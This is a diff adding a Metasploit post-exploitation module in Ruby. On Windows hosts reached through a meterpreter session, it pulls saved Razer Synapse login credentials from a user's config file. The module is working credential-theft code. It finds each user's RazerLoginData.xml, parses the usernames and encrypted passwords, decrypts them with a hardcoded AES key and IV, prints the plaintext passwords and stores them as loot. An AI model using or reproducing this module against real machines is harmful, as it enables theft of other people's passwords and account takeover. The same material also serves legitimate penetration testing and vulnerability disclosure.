1+ ##
2+ # This file is part of the Metasploit Framework and may be subject to
3+ # redistribution and commercial restrictions. Please see the Metasploit
4+ # web site for more information on licensing and terms of use.
5+ # http://metasploit.com/
6+ ##
7+
8+ require 'msf/core'
9+ require 'rex'
10+ require 'msf/core/post/common'
11+ require 'msf/core/post/windows/user_profiles'
12+ require 'openssl'
13+
14+ class Metasploit3 < Msf ::Post
15+
16+ include Msf ::Post ::Common
17+ include Msf ::Post ::Windows ::UserProfiles
18+
19+ def initialize ( info = { } )
20+ super ( update_info ( info ,
21+ 'Name' => 'Razer Synapse Password Extraction' ,
22+ 'Description' => %q{
23+ This module will enumerate passwords stored by the Razer Synapse
24+ client. The encryption key and iv is publicly known. This module
25+ will not only extract encrypted password but will also decrypt
26+ password using public key. Affects version 1.7.15 and earlier.
27+ } ,
28+ 'License' => MSF_LICENSE ,
29+ 'Author' =>
30+ [
31+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' ,
32+ 'Matt Howard "pasv" <themdhoward[at]gmail.com>' , #PoC
33+ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
34+ ] ,
35+ 'SessionTypes' => [ 'meterpreter' ] ,
36+ 'Platform' => [ 'win' ] ,
37+
38+ ) )
39+ end
40+
41+ # decrypt password
42+ def decrypt ( hash )
43+ cipher = OpenSSL ::Cipher ::Cipher . new 'aes-256-cbc'
44+ cipher . decrypt
45+ cipher . key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
46+ cipher . iv = "ryojvlzmdalyglrj"
47+
48+ hash . each_pair { |user , pass |
49+ pass = pass . unpack ( "m" ) [ 0 ]
50+
51+ password = cipher . update pass
52+ password << cipher . final rescue return nil
53+
54+ store_creds ( user , password . split ( "||" ) [ 1 ] )
55+ print_good ( "Found credentials" )
56+ print_good ( "\t User: #{ user } " )
57+ print_good ( "\t Password: #{ password . split ( "||" ) [ 1 ] } " )
58+ }
59+ end
60+
61+ def store_creds ( user , pass )
62+ if db
63+ report_auth_info (
64+ :host => client . sock . peerhost ,
65+ :port => 443 ,
66+ :ptype => 'password' ,
67+ :sname => 'razer_synapse' ,
68+ :user => user ,
69+ :pass => pass ,
70+ :duplicate_ok => true ,
71+ :active => true
72+ )
73+ vprint_status ( "Loot stored in the db" )
74+ end
75+ end
76+
77+ # Loop throuhg config, grab user and pass
78+ def parse_config ( config )
79+ if not config =~ /<Version>\d <\/ Version>/
80+ creds = { }
81+ cred_group = config . split ( "</SavedCredentials>" )
82+ cred_group . each { |cred |
83+ user = /<Username>([^<]+)<\/ Username>/ . match ( cred )
84+ pass = /<Password>([^<]+)<\/ Password>/ . match ( cred )
85+ if user and pass
86+ creds [ user [ 1 ] ] = pass [ 1 ]
87+ end
88+ }
89+ return creds
90+ else
91+ print_error ( "Module only works against configs from version < 1.7.15" )
92+ return nil
93+ end
94+ end
95+
96+ # main control method
97+ def run
98+ grab_user_profiles ( ) . each do |user |
99+ if user [ 'LocalAppData' ]
100+ accounts = user [ 'LocalAppData' ] + "\\ Razer\\ Synapse\\ Accounts\\ RazerLoginData.xml"
101+ # open the file for reading
102+ config = client . fs . file . new ( accounts , 'r' ) rescue nil
103+ next if config . nil?
104+ print_status ( "Config found for user #{ user [ 'UserName' ] } " )
105+
106+ contents = config . read
107+ config . close
108+
109+ # read the contents of file
110+ creds = parse_config ( contents )
111+ if creds
112+ decrypt ( creds )
113+ else
114+ print_error ( "Could not read config or empty for #{ user [ 'UserName' ] } " )
115+ end
116+ end
117+ end
118+ end
119+ end
0 commit comments